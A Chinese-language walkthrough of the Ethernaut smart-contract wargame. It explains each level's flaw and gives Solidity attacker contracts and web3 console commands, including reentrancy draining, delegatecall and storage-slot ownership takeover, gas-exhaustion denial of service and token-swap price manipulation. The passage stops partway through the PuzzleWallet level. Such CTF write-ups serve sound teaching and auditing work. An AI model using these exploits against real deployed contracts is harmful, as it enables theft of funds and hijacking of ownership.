一口气做完ethernaut

Ethernaut 28道题目全解析

Hello Ethernaut

主要是熟悉环境,没啥好说的:

(await contract.infoNum()).toString()
await contract.authenticate("ethernaut0")

fallback

主要是要将owner转移成player,并且提现所有合约的余额 在receive函数里,可以将owner转换为msg.sender。 考察receive函数的调用时机。

要调用receive,必须先存点钱进去

// 先存钱
await contract.contribute.sendTransaction({value:toWei("0.0001")})
// 调用未命名函数,会调用receive
await contract.sendTransaction({from:player, value:toWei("0.0001"), data:""})
// 提现所有的钱
await contract.withdraw()

Fallout

需要修改合约的owner为player 主要考虑构造函数写错了。直接调用函数即可

await contract.Fal1out()

Coin Flip

需要连续十次调用对flip函数,主要考察随机数的产生。用合约调用合约,可以在外部合约判断条件即可

// 部署合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@openzeppelin/contracts/utils/math/SafeMath.sol";

interface  CoinFlipInterface {
    function flip(bool) external returns(bool);
}

contract CoinFlip {
  using SafeMath for uint256;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function flip(address addr) public {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
    }else {
        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        CoinFlipInterface cfi = CoinFlipInterface(addr);
        cfi.flip(coinFlip == 1 ? true : false);
    }
  }
}
//执行十次即可:
// 如上部署的合约地址是0xd2284cb95f590920f378b93a1f87acc31539bd0d
web3.eth.sendTransaction({from:player,to:"0xd2284cb95f590920f378b93a1f87acc31539bd0d",data:web3.utils.sha3("flip(address)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2)})
(await contract.consecutiveWins()).toString()

Telephone

主要考察tx.origin 和 msg.sender的区别。用外部合约调用即可(部署时传入实例合约地址)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface TelephoneInterface {
    function changeOwner(address) external ;
}

contract Telephone {
  constructor(address addr)  {
    TelephoneInterface(addr).changeOwner(msg.sender);
  }
}

Token

这关主要是考察数据运算溢出。考虑balance - value >=0 balnace和value都是uint的。

contract.transfer("0x0000000000000000000000000000000000000000", 21)
web3.utils.toHex(await contract.balanceOf(player))

Delegation

考察fallback的调用和delegatecall的调用。msg.data可以让其直接调用pwn

await web3.eth.sendTransaction({from:player, to:contract.address, data:web3.utils.sha3("pwn()").slice(0,10)});

Force

考察强制付款。可以通过外面合约的selfdestruct 来销毁合约,强制转账给目标合约。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract Force {
    constructor() payable {// 使用非0的value部署合约

    }
    function destruct(address payable addr) public  {
        selfdestruct(addr);
    }
}
//调用合约的自毁程序
// to 是合约部署地址
web3.eth.sendTransaction({from:player,to:"0x2acccE499ae3464B2cE88A6D2057b6197c518DFe",data:web3.utils.sha3("destruct(address)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2)});
await getBalance(await contract.address)

Vault

主要考察怎么查看合约变量的存储地址。通过getStorageAt来查看。

contract.unlock(await web3.eth.getStorageAt(contract.address, 1))
await contract.locked()

King

需要阻止合约向我们转账。可以重写fallback或者receive函数,让其内部进行revert

注意:transfer/ send方法会限制gas费,参考: https://docs.soliditylang.org/en/v0.5.11/units-and-global-variables.html#members-of-address-types https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract King1 {
    fallback() external  {
        revert();
    }
    function transfer(address payable  addr) public payable {
        (bool success, ) = addr.call{value:msg.value}("");
        require(success);
    }
}
contract King2 {
    receive() external payable  {
        revert();
    }
    function transfer(address payable  addr) public payable {
        (bool success, ) = addr.call{value:msg.value}("");
        require(success);
    }
}
contract King3 {
    function transfer(address payable  addr) public payable {
        (bool success, ) = addr.call{value:msg.value}("");
        require(success);
    }
}
// 使用king1
web3.eth.sendTransaction({from:player, to:"0xaE776F3d227d0A4303dF521a8Bd3de8409E880C9", value:toWei("0.001"), data:web3.utils.sha3("transfer(address)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2)});
// 使用king2
web3.eth.sendTransaction({from:player, to:"0x50522E4996943B5F87566Dfb3819A11Dda44A463", value:toWei("0.001"), data:web3.utils.sha3("transfer(address)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2)});
// 使用king3
web3.eth.sendTransaction({from:player, to:"0xA7138C0c8fca4Fa7ECd724E6F2A80fc7842d1704", value:toWei("0.001"), data:web3.utils.sha3("transfer(address)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2)});

Re-entrancy

主要考察可重入的问题。合约提现会调用msg.sender的call,如果重载fallback或者receive函数,内部进行循环调用,即可实现。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface ReentranceInterface {
    function withdraw(uint) external ;
    function donate(address) external payable ;
}
contract Reentrance {
    function steal(address addr) public payable {
        ReentranceInterface(addr).donate{value:msg.value}(address(this));
        ReentranceInterface(addr).withdraw(msg.value);
    }
    receive() external payable {
        if (msg.sender.balance >= msg.value) {
            ReentranceInterface(msg.sender).withdraw(msg.value);
        } else if (msg.sender.balance > 0) {
            ReentranceInterface(msg.sender).withdraw(msg.sender.balance);
        }
    }
}
// to是合约部署地址
web3.eth.sendTransaction({from:player, to:"0x755a98B25b5759Dc29BC905c2ea646Da94fF16f3", data:web3.utils.sha3("steal(address)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2),value:toWei(((await getBalance(contract.address))/10).toString())});

Elevator

主要是两次调用外部合约函数,返回的值不一定每次相同。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface ElevatorInterface {
    function goTo(uint) external ;
}

contract Building {
    bool public top;
    constructor() {
        top = false;
    }
    function isLastFloor(uint) public returns (bool) {
        bool old = top;
        top = !top;
        return old;
    }
    function goTop(address addr) public {
        ElevatorInterface(addr).goTo(0);
    }
}
// to是上述合约部署地址
web3.eth.sendTransaction({from:player, to:"0xbadB6E107A39d3600C9417D69234128247f0D395", data:web3.utils.sha3("goTop(address)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2)});

Privacy

只需要找到data[2]存储的槽位即可

contract.unlock((await web3.eth.getStorageAt(contract.address, 5)).slice(0,34))

Gatekeeper One

gateOne - 需要用合约调用 gateTwo - 需要知道当时调用的gas费用 gateThree - 8字节的bytes: 0x1122334455667788 uint32(uint64(_gateKey)) == uint16(uint64(_gateKey) ==> 5566 为0 uint32(uint64(_gateKey)) != uint64(_gateKey) ==> 11223344不全为0 uint32(uint64(_gateKey)) == uint16(tx.origin) ==> 7788为tx.orgin的后两字节。

注意:solidity合约代码里,在计算gasleft时,需要-100或者其他值,用于预留一部分gas费用给“到enter执行”之间的指令支付gas费用。否则可能会导致传入的gasvalue比总共剩余的gas还要大的情况,会导致实际传入的gasvalue比预期小。


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface GateKeeperOneInterface { function enter(bytes8) external ; }

contract GateKeeperOne { function enter(address addr, uint64 gas_offset) public { uint64 key = 0x1122334400000000 | (0xffff & uint16(uint160(address(msg.sender)))); uint64 gasvalue = (uint64(gasleft()/8191) - 100) * 8191 + gas_offset; require(gasvalue < gasleft());// 注意这里的-100, 否则gasleft执行到下面不够了,传入的gasvalue可能偏小。 GateKeeperOneInterface(addr).enter{gas:gasvalue}(bytes8(key)); } }

```js
// to是上面合约部署地址
web3.eth.sendTransaction({from:player, to:"0x5E8DC3eE458e41f745eA281B47E529eE40882bD2", data:web3.utils.sha3("enter(address,uint64)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2)+"00000000000000000000000000000000000000000000000000000000000000c4"});
// 上面传入的c4,是通过debug单步执行,在opcode里看到gas调用后推算出来的。不过有时候会看不到gas的调用,因为debug工具的缺陷。所以可以通过堆栈的0x1fff(8191)进行推测。

Gatekeeper Two

gateOne - 和14 一样 gateTwo - 要求调用合约的大小为0,也就是合约只有构造函数,没有其他函数,所以需要在构造函数里进行合约的调用。 gateThree - msg.sender 编码的异或结果

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface GatekeeperTwoInterface {
    function enter(bytes8) external returns(bool);
}

contract GatekeeperTwo {
    constructor(address addr) {
        uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        key = key ^ 0xffffffffffffffff;
        GatekeeperTwoInterface(addr).enter(bytes8(key));
    }
}

Naught Coin

考虑遵循ERC20标准,并未重载transferFrom函数,可以通过该函数进行转账:

注意:ERC20标准 https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md 如果直接transferFrom,会提示: MetaMask - RPC Error: execution reverted: ERC20: transfer amount exceeds allowance 需要提前授权

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function approve(address _spender, uint256 _value) public returns (bool success)
function allowance(address _owner, address _spender) public view returns (uint256 remaining)
(await contract.approve(player,  await contract.balanceOf(player))).toString()
(await contract.allowance(player,player)).toString()
await contract.transferFrom(player, "0x0000000000000000000000000000000000000001", await contract.balanceOf(player));

Preservation

考察的是delegatecall的调用原理。 主要目标是修改owner,注意观察,看下timeZone1LibrarytimeZone2Library 看下其合约对应的op code,找sstore,发现: timeZone2Library是:

JUMPDEST
PUSH1 0x00
SSTORE

timeZone1Library也是:

JUMPDEST
PUSH1 0x00
SSTORE

能看到,timeZone2Library实际上修改的是槽位0的值,timeZone1Library也是修改槽位0的值。 这样就有办法了,可以通过timeZone2Library 调用修改槽位0,就可以修改timeZone1Library的值,改成我们自己的合约,然后再调用timeZone1Library让其调用我们的合约,在我们的合约里,修改owner


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract Preservation { address public timeZone1Library; address public timeZone2Library; address public owner;

function setTime(uint256) public {
    owner = msg.sender;// 这里也可以用外面传进来的值,都可以。由于是delegatecall调用,所以实际上msg.sender就是player(从控制台)
}

}

```js
contract.setSecondTime("0xacaA46AfAF9996EFF86c1e779A766Df6EcF9BD6F")
contract.setFirstTime("0")

Recovery

主要考察合约生成合约地址的原理。先找到合约地址,可以通过实例的生成的事务id查看,有两条

其中0x1f4b...就是新生成的合约地址

await web3.eth.sendTransaction({from:player, to:"0x1f4B67EA434313d5481e30A1c92e4d0f973eb82A", data:web3.utils.sha3("destroy(address)").slice(0,10)+"00000000000000000000000000000000000000000000"+player.slice(2)});

注意:合约的地址是可以预知的。 参见:https://learnblockchain.cn/2019/06/10/address-compute 根据EIP 161 规范合约帐户使用 nonce=1 初始(在主网络上)。 因此,由一个合同创建的第一个合同地址将使用非零nonce进行计算。

% node
Welcome to Node.js v18.7.0.
Type ".help" for more information.
var util = require('ethereumjs-util');
undefined
var sender = "a990077c3205cbDf861e17Fa532eeB069cE9fF96";
undefined
var nonce = 0
undefined
var buf = [Buffer.from(sender, "hex"), nonce == 0 ? null : nonce];
undefined
var addr1 = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
undefined
util.rlp.encode(buf)
&lt;Buffer d6 94 a9 90 07 7c 32 05 cb df 86 1e 17 fa 53 2e eb 06 9c e9 ff 96 80>
util.rlp.encode(buf).toString("hex")
'd694a990077c3205cbdf861e17fa532eeb069ce9ff9680'
addr1
'1820a4b7618bde71dce8cdc73aab6c95905fad24'
//  nonce 为 0 时生成的地址
nonce0 = address(keccak256(0xd6, 0x94, address, 0x80))
nonce1 = address(keccak256(0xd6, 0x94, address, 0x01))

// 基于以上,题目中的合约地址可以算出来:
web3.utils.sha3("0xd694DD38236b638eE424E36c57705A5D2cdf7a2fda4101").slice(-40);

MagicNumber

主要考察原始字节码生成一个合约。需要了解合约的执行原理。 参考:Deconstructing a Solidity Contract , Ethereum Virtual Machine Opcodes 分为两部分,一部分是代码的部署(构造部分),一部分是合约的执行代码 两部分,逻辑一样,将需要的数据放入内存(MSTORE/CODECOPY),然后返回(RETURN) 查看OPCODE的格式,应该是:

/* 构造 开始*/
PUSH1 code_length
PUSH1 code_offset
PUSH1 memory_pos
CODECOPY
// memory[memory_pos:memory_pos+code_length] = 
// address(this).code[code_offset:code_offset+code_length]
PUSH1 code_length
PUSH1 memory_pos
RETURN
// return memory[memory_pos:memory_pos+code_length]
/* 构造结束 */
/* 执行开始,返回42 = 2A */
PUSH1 value
PUSH1 memory_pos
MSTORE
// memory[memory_pos:memory_pos+32] = value
PUSH1 value_length
PUSH1 memory_pos
RETURN
// return memory[memory_pos:memory_pos+value_length]
/* 执行结束 */

转换下:

PUSH1 0x0a // 10字节大小
PUSH1 0x0c // 12字节开始
PUSH1 0x40 // memory_pos 从40及以后开始
CODECOPY
// memory[memory_pos:memory_pos+code_length] = 
// address(this).code[code_offset:code_offset+code_length]
PUSH1 0x0a
PUSH1 0x40
RETURN
// return memory[memory_pos:memory_pos+code_length]
/* 构造结束 */
/* 执行开始,返回42 = 2A */
PUSH1 0x2A
PUSH1 0x40
MSTORE
// memory[memory_pos:memory_pos+32] = value
PUSH1 0x20
PUSH1 0x40
RETURN

最终结果:

0x600a600c604039600a6040f3602a60405260206040f3

部署:

web3.eth.sendTransaction({from:player, data:"0x600a600c604039600a6040f3602a60405260206040f3"})
await web3.eth.call({from:player, to:"0x2C439290497f4fb14A756f2d76F380b0C4F1a100"})
contract.setSolver("0x2C439290497f4fb14A756f2d76F380b0C4F1a100")

Alien Codex

需要了解数组的storage如何实现的。retract函数里会对length进行减操作。由于是继承Ownable合约,所以owner应该存储在第0个槽位。

可以让codex覆盖所有的槽位,也就是2的256次方个。然后我们找到第0个槽位,就可以改写。 执行完await contract.make_contact() 以后,可以看到:

所以bool contact实际上和owner同时存储在了槽位0 然后执行length-1操作await contract.retract()

所以槽位1里存储的是数组codex的长度。

如果不改长度,执行不了revise操作

对于revise操作,需要计算下下标index(i) 来跨越到第0个槽位。 往index=0里写个数据看看,可以计算出来其hash的值的槽位是(可以通过debug来看如何存储):

await web3.eth.getStorageAt(contract.address,web3.utils.sha3("0x0000000000000000000000000000000000000000000000000000000000000001"))

比如,可以存index=100的看下 contract.revise(100, "0x111111122222222")

await web3.eth.getStorageAt(contract.address, web3.utils.toBN(web3.utils.sha3("0x0000000000000000000000000000000000000000000000000000000000000001")).add(new web3.utils.BN(100)))

实际上,就是数组所在的槽位进行sha3以后,再加上数组下标,通过debug可以看到

所以可以理解为数组的存储是:

槽位 [sha3 + 0]  
槽位 [sha3 + 1] 
槽位 [sha3 + 2]
....
槽位 [sha3 + n]

// 当sha3  + n 越界成为了
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
// 那么再加一就是0了
// 所以n = 
// 1 + 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - sha3
// 这里需要注意player前面补齐0,否则在转bytes时,会低位补0.
contract.revise("0x"+web3.utils.toBN("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff").xor(web3.utils.toBN(web3.utils.sha3("0x0000000000000000000000000000000000000000000000000000000000000001"))).add(web3.utils.toBN("0x1")).toString("hex"), "0x000000000000000000000000"+player.slice(2))

Denial

只需要递归耗尽gas即可阻止。所以和外部合约交互时,最好指定gas

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface DenialInterface {
    function withdraw() external;
}

contract Denial {
    receive() payable external  {
        DenialInterface(msg.sender).withdraw();
    }
}

Shop

实现不同次数调用时返回价格不一致即可。由于接口函数用的view,所以不能合约内部变量记录的方式。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface ShopInterface {
    function isSold() external view returns(bool);
    function price() external  view returns(uint);
    function buy() external ;
}

contract Buyer {
    ShopInterface shop_addr;
    function setShop(address addr) external {
        shop_addr = ShopInterface(addr);
    }
    function price() external view returns (uint) {
        if (shop_addr.isSold()) {
            return shop_addr.price()-1;
        } else {
            return shop_addr.price();
        }
    }
    function buy() external {
        shop_addr.buy();
    }
}
web3.eth.sendTransaction({from:player, to:"0x94DFf550a33860048E86b7Fd2A6f8273c9A4CDE5", data:web3.utils.sha3("setShop(address)").slice(0,10)+"000000000000000000000000"+contract.address.slice(2)})
web3.eth.sendTransaction({from:player, to:"0x94DFf550a33860048E86b7Fd2A6f8273c9A4CDE5", data:web3.utils.sha3("buy()").slice(0,10)})
(await contract.price()).toString()

Dex

初始状态:

当执行了swap后(假如from=token1, to = token2, amount=10)

// 第一次
swap(token1, token2, 10)
// swapAmount = 10 * 100 / 100 = 10
// 第一次swap后, 
// player.token1 = 0, contract.token1 = 110
// player.token2 = 20, contract.token2 = 90

// 第二次swap
swap(token2, token1, 20)
// swapAmount = 20 * 110/90 = 24
// 第二次swap后,
// player.token1 = 24, contract.token1 = 86
// player.token2 = 0, contract.token2 = 110

// 以此类推3
swap(token1, token2, 24) // swapAmount = 24 * 110 / 86 = 30
// player.token1 = 0, contract.token1 = 110
// player.token2 = 30, contract.token2 = 80
//4
swap(token2, token1, 30) // swapAmount = 30 * 110 / 80 = 41
// player.token1 = 41, contract.token1 = 69
// player.token2 = 0, contract.token2 = 110
//5
swap(token1, token2, 41) // swapAmount = 41 * 110 / 69 = 65
// player.token1 = 0, contract.token1 = 110
// player.token2 = 65, contract.token2 = 45

swap(token2, token1, 45) // swapAmount = 45 * 110 / 45 = 110
// player.token1 = 110, contract.token1 = 0
// player.token2 = 20, contract.token2 = 90
// 授权合约
contract.approve(contract.address, 1000)
// swap 第一次
contract.swap(await contract.token1(), await contract.token2(), await contract.balanceOf(await contract.token1(), player))
// swap 第二次
contract.swap(await contract.token2(), await contract.token1(), await contract.balanceOf(await contract.token2(), player))
// swap 第三次
contract.swap(await contract.token1(), await contract.token2(), await contract.balanceOf(await contract.token1(), player))
// swap 第四次
contract.swap(await contract.token2(), await contract.token1(), await contract.balanceOf(await contract.token2(), player))
// swap 第五次
contract.swap(await contract.token1(), await contract.token2(), await contract.balanceOf(await contract.token1(), player))
// 最后一次
contract.swap(await contract.token2(), await contract.token1(), 45)

Dex2

相对于Dex,swap去掉了对from和to的约束。那可以在外部传递任何一个erc20的合约进行交换 假设我们有个token3,player有100个,contract有100个,那么直接一次性就可以置换完。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Dex2 is ERC20 {
    constructor() ERC20("token3","T3")  {
    }
    function setBalance(address addr, uint256 amount) public {
        _mint(addr, amount);
    }
}
// 给player 发100
web3.eth.sendTransaction({from:player, to:"0x9D2ed644F900CDdfccEECF46112a7602BfC39F9D", data:web3.utils.sha3("setBalance(address,uint256)").slice(0,10) + "000000000000000000000000" + player.slice(2) + "0000000000000000000000000000000000000000000000000000000000000064"})
// 给contract发100
web3.eth.sendTransaction({from:player, to:"0x9D2ed644F900CDdfccEECF46112a7602BfC39F9D", data:web3.utils.sha3("setBalance(address,uint256)").slice(0,10) + "000000000000000000000000" + contract.address.slice(2) + "0000000000000000000000000000000000000000000000000000000000000064"})
// 授权contract使用player的东西
web3.eth.sendTransaction({from:player, to:"0x9D2ed644F900CDdfccEECF46112a7602BfC39F9D", data:web3.utils.sha3("approve(address,uint256)").slice(0,10) + "000000000000000000000000" + contract.address.slice(2) + "0000000000000000000000000000000000000000000000000000000000000fff"})
// 进行swap token1
contract.swap("0x9D2ed644F900CDdfccEECF46112a7602BfC39F9D", await contract.token1(), 100)
// 查看token1的余额
(await contract.balanceOf(await contract.token1(), contract.address)).toString()

// 现在player的token3余额为0,contract的token3余额为200
// 为了置换token2的100,需要充值给player 200的token3
web3.eth.sendTransaction({from:player, to:"0x9D2ed644F900CDdfccEECF46112a7602BfC39F9D", data:web3.utils.sha3("setBalance(address,uint256)").slice(0,10) + "000000000000000000000000" + player.slice(2) + "00000000000000000000000000000000000000000000000000000000000000c8"})
// 进行swap token2
contract.swap("0x9D2ed644F900CDdfccEECF46112a7602BfC39F9D", await contract.token2(), 200)
// 查看token2的余额
(await contract.balanceOf(await contract.token2(), contract.address)).toString()

PuzzleWallet

突破口,需要注意,这里的contract.address(instance)实际上是代理合约的地址,也就是PuzzleProxy的地址。 可以通过查看instance地址的合约opcode查看下:

PUSH1 0x80
PUSH1 0x40
MSTORE
PUSH1 0x04
CALLDATASIZE
LT                // 检查够不够4个字节(函数名)
PUSH2 0x005e
JUMPI
PUSH1 0x00
CALLDATALOAD 
PUSH1 0xe0
SHR              // 获取msgdata 32字节(256位)数据,然后右移224位,只剩下函数名了
DUP1
PUSH4 0xa02fcc0a  // web3.utils.sha3("approveNewAdmin(address)").slice(0,10)
GT
PUSH2 0x0043   // 跳转到67,也就是跳转到35行
JUMPI
DUP1
PUSH4 0xa02fcc0a // web3.utils.sha3("approveNewAdmin(address)").slice(0,10)
EQ
PUSH2 0x00c0     // 跳转到192,也就是函数实现地址,在111行
JUMPI
DUP1
PUSH4 0xa6376746 // web3.utils.sha3("proposeNewAdmin(address)").slice(0,10)
EQ
PUSH2 0x00e0    // 跳转到224,也就是131行
JUMPI
DUP1
PUSH4 0xf851a440 // web3.utils.sha3("admin()").slice(0,10)
EQ
PUSH2 0x0100
JUMPI
PUSH2 0x006d
JUMP
JUMPDEST
DUP1
PUSH4 0x26782247  // web3.utils.sha3("pendingAdmin()").slice(0,10)
EQ
PUSH2 0x0075
JUMPI
DUP1
PUSH4 0x3659cfe6 // web3.utils.sha3("upgradeTo(address)").slice(0,10)
EQ
PUSH2 0x00a0     // 这里就是跳转到160,也就是91行
JUMPI
PUSH2 0x006d    // 这里是跳转到109,也就是跳转到57
JUMP
JUMPDEST
CALLDATASIZE
PUSH2 0x006d
JUMPI
PUSH2 0x006b
PUSH2 0x0115
JUMP
JUMPDEST
STOP
JUMPDEST
PUSH2 0x006b
PUSH2 0x0115
JUMP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x0081
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x008a
PUSH2 0x012f
JUMP
JUMPDEST
PUSH1 0x40
MLOAD
PUSH2 0x0097
SWAP2
SWAP1
PUSH2 0x034a
JUMP
JUMPDEST
PUSH1 0x40
MLOAD
DUP1
SWAP2
SUB
SWAP1
RETURN
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x00ac
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x006b
PUSH2 0x00bb
CALLDATASIZE
PUSH1 0x04
PUSH2 0x031c
JUMP
JUMPDEST
PUSH2 0x013e
JUMP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x00cc
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x006b
PUSH2 0x00db
CALLDATASIZE
PUSH1 0x04
PUSH2 0x031c
JUMP
JUMPDEST
PUSH2 0x017d
JUMP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x00ec
JUMPI     // jump 140行
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x006b
PUSH2 0x00fb
CALLDATASIZE
PUSH1 0x04
PUSH2 0x031c
JUMP  // jump 433行
JUMPDEST
PUSH2 0x0206
JUMP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x010c
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x008a
PUSH2 0x0235
JUMP
JUMPDEST
PUSH2 0x011d
PUSH2 0x012d
JUMP
JUMPDEST
PUSH2 0x012d
PUSH2 0x0128
PUSH2 0x024a
JUMP
JUMPDEST
PUSH2 0x026f
JUMP
JUMPDEST
JUMP
JUMPDEST
PUSH1 0x00
SLOAD
PUSH1 0x01
PUSH1 0x01
PUSH1 0xa0
SHL
SUB
AND
DUP2
JUMP
JUMPDEST
PUSH1 0x01
SLOAD
PUSH1 0x01
PUSH1 0x01
PUSH1 0xa0
SHL
SUB
AND
CALLER
EQ
PUSH2 0x0171
JUMPI
PUSH1 0x40
MLOAD
PUSH3 0x461bcd
PUSH1 0xe5
SHL
DUP2
MSTORE
PUSH1 0x04
ADD
PUSH2 0x0168
SWAP1
PUSH2 0x0419
JUMP
JUMPDEST
PUSH1 0x40
MLOAD
DUP1
SWAP2
SUB
SWAP1
REVERT
JUMPDEST
PUSH2 0x017a
DUP2
PUSH2 0x0293
JUMP
JUMPDEST
POP
JUMP
JUMPDEST
PUSH1 0x01
SLOAD
PUSH1 0x01
PUSH1 0x01
PUSH1 0xa0
SHL
SUB
AND
CALLER
EQ
PUSH2 0x01a7
JUMPI
PUSH1 0x40
MLOAD
PUSH3 0x461bcd
PUSH1 0xe5
SHL
DUP2
MSTORE
PUSH1 0x04
ADD
PUSH2 0x0168
SWAP1
PUSH2 0x0419
JUMP
JUMPDEST
PUSH1 0x00
SLOAD
PUSH1 0x01
PUSH1 0x01
PUSH1 0xa0
SHL
SUB
DUP3
DUP2
AND
SWAP2
AND
EQ
PUSH2 0x01d4
JUMPI
PUSH1 0x40
MLOAD
PUSH3 0x461bcd
PUSH1 0xe5
SHL
DUP2
MSTORE
PUSH1 0x04
ADD
PUSH2 0x0168
SWAP1
PUSH2 0x035e
JUMP
JUMPDEST
POP
PUSH1 0x00
SLOAD
PUSH1 0x01
DUP1
SLOAD
PUSH20 0xffffffffffffffffffffffffffffffffffffffff
NOT
AND
PUSH1 0x01
PUSH1 0x01
PUSH1 0xa0
SHL
SUB
SWAP1
SWAP3
AND
SWAP2
SWAP1
SWAP2
OR
SWAP1
SSTORE
JUMP
JUMPDEST
PUSH1 0x00
DUP1
SLOAD
PUSH20 0xffffffffffffffffffffffffffffffffffffffff
NOT
AND
PUSH1 0x01
PUSH1 0x01
PUSH1 0xa0
SHL
SUB
SWAP3
SWAP1
SWAP3
AND
SWAP2
SWAP1
SWAP2
OR
SWAP1
SSTORE
JUMP
JUMPDEST
PUSH1 0x01
SLOAD
PUSH1 0x01
PUSH1 0x01
PUSH1 0xa0
SHL
SUB
AND
DUP2
JUMP
JUMPDEST
EXTCODESIZE
ISZERO
ISZERO
SWAP1
JUMP
JUMPDEST
PUSH32 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc // ERC1967Upgrade._IMPLEMENTATION_SLOT
SLOAD
SWAP1
JUMP
JUMPDEST
CALLDATASIZE
PUSH1 0x00
DUP1
CALLDATACOPY
PUSH1 0x00
DUP1
CALLDATASIZE
PUSH1 0x00
DUP5
GAS
DELEGATECALL    // 这里调用delegatecall
RETURNDATASIZE
PUSH1 0x00
DUP1
RETURNDATACOPY
DUP1
DUP1
ISZERO
PUSH2 0x028e
JUMPI
RETURNDATASIZE
PUSH1 0x00
RETURN
JUMPDEST
RETURNDATASIZE
PUSH1 0x00
REVERT
JUMPDEST
PUSH2 0x029c
DUP2
PUSH2 0x02d3
JUMP
JUMPDEST
PUSH1 0x40
MLOAD
PUSH1 0x01
PUSH1 0x01
PUSH1 0xa0
SHL
SUB
DUP3
AND
SWAP1
PUSH32 0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b // web3.utils.sha3("Upgraded(address)")
SWAP1
PUSH1 0x00
SWAP1
LOG2
POP
JUMP
JUMPDEST
PUSH2 0x02dc
DUP2
PUSH2 0x0244
JUMP
JUMPDEST
PUSH2 0x02f8
JUMPI
PUSH1 0x40
MLOAD
PUSH3 0x461bcd
PUSH1 0xe5
SHL
DUP2
MSTORE
PUSH1 0x04
ADD
PUSH2 0x0168
SWAP1
PUSH2 0x03bc
JUMP
JUMPDEST
PUSH32 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc // ERC1967Upgrade._IMPLEMENTATION_SLOT
SSTORE
JUMP
JUMPDEST

注意:jump行号的计算,可以通过脚本进行,如下awk脚本

awk '{s++; for(i=2;i&lt;=NF;++i) {s+=(length($i)-2)/2;} if (s==jump的十进制数字) print NR+1;}' 复制的合约opcode文件.txt

可以看到这个合约有所有的函数跳转表。所以应该没跑了。 这个合约,我们唯一能调的就是proposeNewAdmin。注意,我们调用不存在的函数时,就会delegatecall调用到合约PuzzleWallet里。注意看这个代理合约的implement(ERC1967Upgrade._IMPLEMENTATION_SLOT)

这个ba7f781df45d6c2792d8680df98c0be744c58c98 地址,就是PuzzleWallet地址,可以看下合约代码。

PUSH1 0x80
PUSH1 0x40
MSTORE
PUSH1 0x04
CALLDATASIZE
LT
PUSH2 0x00b1
JUMPI
PUSH1 0x00
CALLDATALOAD
PUSH1 0xe0
SHR
DUP1
PUSH4 0xb61d27f6 //web3.utils.sha3("execute(address,uint256,bytes)").slice(0,10)
GT
PUSH2 0x0069
JUMPI
DUP1
PUSH4 0xd0e30db0 // web3.utils.sha3("deposit()").slice(0,10)
GT
PUSH2 0x004e
JUMPI
DUP1
PUSH4 0xd0e30db0 // web3.utils.sha3("deposit()").slice(0,10)
EQ
PUSH2 0x018b
JUMPI
DUP1
PUSH4 0xd936547e // web3.utils.sha3("whitelisted(address)").slice(0,10)
EQ
PUSH2 0x0193
JUMPI
DUP1
PUSH4 0xe43252d7 // web3.utils.sha3("addToWhitelist(address)").slice(0,10)
EQ
PUSH2 0x01c0
JUMPI
PUSH2 0x00b1
JUMP
JUMPDEST
DUP1
PUSH4 0xb61d27f6 // web3.utils.sha3("execute(address,uint256,bytes)").slice(0,10)
EQ
PUSH2 0x0158
JUMPI
DUP1
PUSH4 0xb7b0422d // web3.utils.sha3("init(uint256)").slice(0,10)
EQ
PUSH2 0x016b
JUMPI
PUSH2 0x00b1
JUMP
JUMPDEST
DUP1
PUSH4 0x8da5cb5b // web3.utils.sha3("owner()").slice(0,10)
GT
PUSH2 0x009a
JUMPI
DUP1
PUSH4 0x8da5cb5b // web3.utils.sha3("owner()").slice(0,10)
EQ
PUSH2 0x0101
JUMPI
DUP1
PUSH4 0x9d51d9b7 // web3.utils.sha3("setMaxBalance(uint256)").slice(0,10)
EQ
PUSH2 0x0123
